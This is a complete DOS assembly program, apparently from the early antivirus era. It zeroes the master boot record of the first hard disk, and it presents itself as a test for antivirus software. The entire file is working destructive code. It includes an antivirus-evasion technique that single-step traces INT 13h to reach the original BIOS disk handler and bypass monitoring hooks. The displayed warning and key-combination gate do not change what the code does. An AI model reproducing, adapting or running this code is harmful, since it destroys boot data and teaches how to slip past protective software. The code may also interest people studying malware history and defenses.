page    ,132
title    Trash – smashes the boot record on the first hard disk
name    TRASH

.radix    16

code    segment
assume    cs:code,ds:code

org    100

CODEX    equ    0C000        ; Or use 0300 when tracing DOS

CR    equ    0Dh
LF    equ    0A

start:
jmp    do_it

oldint1 dd    ?
newintx dd    ?
oldintx dd    ?
trace    db    1
found    db    0
buffer    db    200 dup (0)
message db    CR,LF,’**********  W A R N I N G ! ! !  **********’,CR,LF,CR,LF
db    ‘This program, when run, will zero (DESTROY!) the’,CR,LF
db    ‘master boot record of your first hard disk.’,CR,LF,CR,LF
db    ‘The purpose of this is to test the antivirus software,’,CR,LF
db    ’so be sure you have installed your favourite’,CR,LF
db    ‘protecting program before running this one!’,CR,LF
db    “(It’s almost sure it will fail to protect you anyway!)”,CR,LF
db    CR,LF,’Press any key to abort, or’,CR,LF
db    ‘press Ctrl-Alt-RightShift-F5 to proceed (at your own risk!) $’
warned    db    CR,LF,CR,LF,’Allright, you were warned!’,CR,LF,’$’

do_it:
mov    ax,600        ; Clear the screen by scrolling it up
mov    bh,7
mov    dx,1950
xor    cx,cx
int    10

mov    ah,0F        ; Get the current video mode
int    10        ;  (the video page, more exactly)

mov    ah,2        ; Home the cursor
xor    dx,dx
int    10

mov    ah,9        ; Print a warning message
mov    dx,offset message
int    21

mov    ax,0C08     ; Flush the keyboard and get a char
int    21
cmp    al,0        ; Extendet ASCII?
jne    quit1        ; Exit if not
mov    ah,8        ; Get the key code
int    21
cmp    al,6C        ; Shift-F5?
jne    quit1        ; Exit if not
mov    ah,2        ; Get keyboard shift status
int    16
and    al,1101b    ; Ctrl-Alt-RightShift?
jnz    proceed     ; Proceed if so
quit1:
jmp    quit        ; Otherwise exit

proceed:
mov    ah,9        ; Print the last message
mov    dx,offset warned
int    21

mov    ax,3501     ; Get interrupt vector 1 (single steping)
int    21
mov    word ptr oldint1,bx
mov    word ptr oldint1+2,es

mov    ax,2501     ; Set new INT 1 handler
mov    dx,offset newint1
int    21

mov    ax,3513     ; Get interrupt vector 13
int    21
mov    word ptr oldintx,bx
mov    word ptr oldintx+2,es
mov    word ptr newintx,bx
mov    word ptr newintx+2,es

; The following code is sacred in it’s present form.
; To change it would cause volcanos to errupt,
; the ground to shake, and program not to run!

mov    ax,200
push    ax
push    cs
mov    ax,offset done
push    ax
mov    ax,100
push    ax
push    cs
mov    ax,offset faddr
push    ax
mov    ah,55
iret

assume    ds:nothing

faddr:
jmp    oldintx

newint1:
push    bp
mov    bp,sp
cmp    trace,0
jne    search
exit:
and    [bp+6],not 100
exit1:
pop    bp
iret
search:
cmp    [bp+4],CODEX
jb    exit1
;Or use ja if you want to trace DOS-owned interrupt
push    ax
mov    ax,[bp+4]
mov    word ptr newintx+2,ax
mov    ax,[bp+2]
mov    word ptr newintx,ax
pop    ax
mov    found,1
mov    trace,0
jmp    exit

assume    ds:code
done:
mov    trace,0
push    ds
mov    ax,word ptr oldint1+2
mov    dx,word ptr oldint1
mov    ds,ax
mov    ax,2501     ; Restore old INT 1 handler
int    21
pop    ds

; Code beyong this point is not sacred…
; It may be perverted in any manner by any pervert.

cmp    found,1     ; See if original INT 13 handler found
jne    quit        ; Exit if not
push    ds
pop    es        ; Restore ES

mov    ax,301        ; Write 1 sector
mov    cx,1        ; Cylinder 0, sector 1
mov    dx,80        ; Head 0, drive 80h
mov    bx,offset buffer
pushf            ; Simulate INT 13
call    newintx     ; Do it

quit:
mov    ax,4C00     ; Exit program
int    21

code    ends
end    start